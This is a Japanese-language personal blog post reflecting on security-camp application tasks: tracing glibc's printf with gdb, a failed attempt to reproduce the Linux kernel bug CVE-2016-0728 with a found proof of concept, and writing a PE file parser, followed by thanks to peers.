A-4のprintf()について調べる課題は、最初にglibcソースコードを読もうとしたらあまりの分量にビビって、gdbで動かしながら内部で呼ばれている関数やその引数を調査して行いました。この後で動きを確認するためにソースコードを読んでみると以前より若干読めるようになっていて、glibcカーネルのソースを読むことに対するハードルが低くなったように思います。デバッガの出力や逆アセンブル結果を貼ったら1万字を超えていたので提出時に焦りましたが、なんとか提出することができました。しかし、他の方のwriteupをみていると、とてもうまくまとまっていて、自分みたいにやってみたことをつらつらと書いていく方針でやったのは少し読みにくかったのかなぁと反省しています。

A-5 カーネルの権限昇格の脆弱性の再現

A-5のCVE-2016-0728のexploit問題とかは結局フォーラムのコメントに上がっていたことを実際に実験して検証してみて、VMが落ちるところまでしかできず、また自分のexploitを記述できたわけではなく拾い物のPoCしか試せなかったのがとても悔しいです。この問題を解く前に、katagaitai勉強会のUAF勉強会の資料を読んでweird_snusとかを解析してみたりしたんですが、結局最後までできなかったり、(今回の脆弱性は参照カウンタのオーバーフローを利用した攻撃で、しかも自由に一般ユーザー権限でプログラムを実行できるという状況だったため。言い訳かもしれないですが…)カーネルメッセージはダンプしたもののそれを読んで分析することができなかったりと、まだまだできないことがたくさんあり、自分の未熟さを痛感しました。しかし、今回の問題で初めてカーネルのエクスプロイトの実証に取り組んでみて、カーネルソースコードや機能についてのドキュメントを読むことで、さらにLinuxカーネルについて学びたい気持ちが強くなりました。(というかこういうことも回答として書いてもいいことを他の人のwriteupを読んで気づいた…)

A-6 PEファイルフォーマットの解析

A-6のPEの解析では、デバッガによるx86プログラム解析や、リバースエンジニアリングバイブルの前半を読んだことはあったのですが、自分で解析プログラムを1から実装してみることで、ヘッダの構造やメンバについてより詳しく知ることができたと思います。本を読むだけではなく、手を動かして学んでいく必要があると再度認識させられました。また、gnu binutilsの実装について調べてみたのもあって、意外な発見もありました。あとは開発意欲が刺激されたのも大きいです。

最後に

今思えば、去年の今頃は簡単なスタックBOFの問題も解けなくて、64bitと32bitでアドレスの長さがどう変わるかも知らない。アセンブリレジスタすら知らない。低レイヤーに興味はあるけど何もやったことがない。という状態だったことを考えると、少しはできること、知ってることが増えてたのかなぁと思います。それも、CODE BLUEの学生スタッフとして参加して、そこで出会った同期や先輩、後輩がセキュリティだけでなく広い分野で活躍していることに大きく刺激を受けた結果かなぁと思います。本当に感謝です。

また、応募課題にフィードバックをくれた同期にはとても感謝しています。こちらで改めてお礼を言いたいと思います。

以下、各設問の回答です。またしばらくしてこれを読む頃には黒歴史だから…って言えるくらいに強くなろうと思います。

2017年6月16日追記

各設問の回答については長いのでこちらにまとめました。興味のある人はみてください。

Seccap17.md · GitHub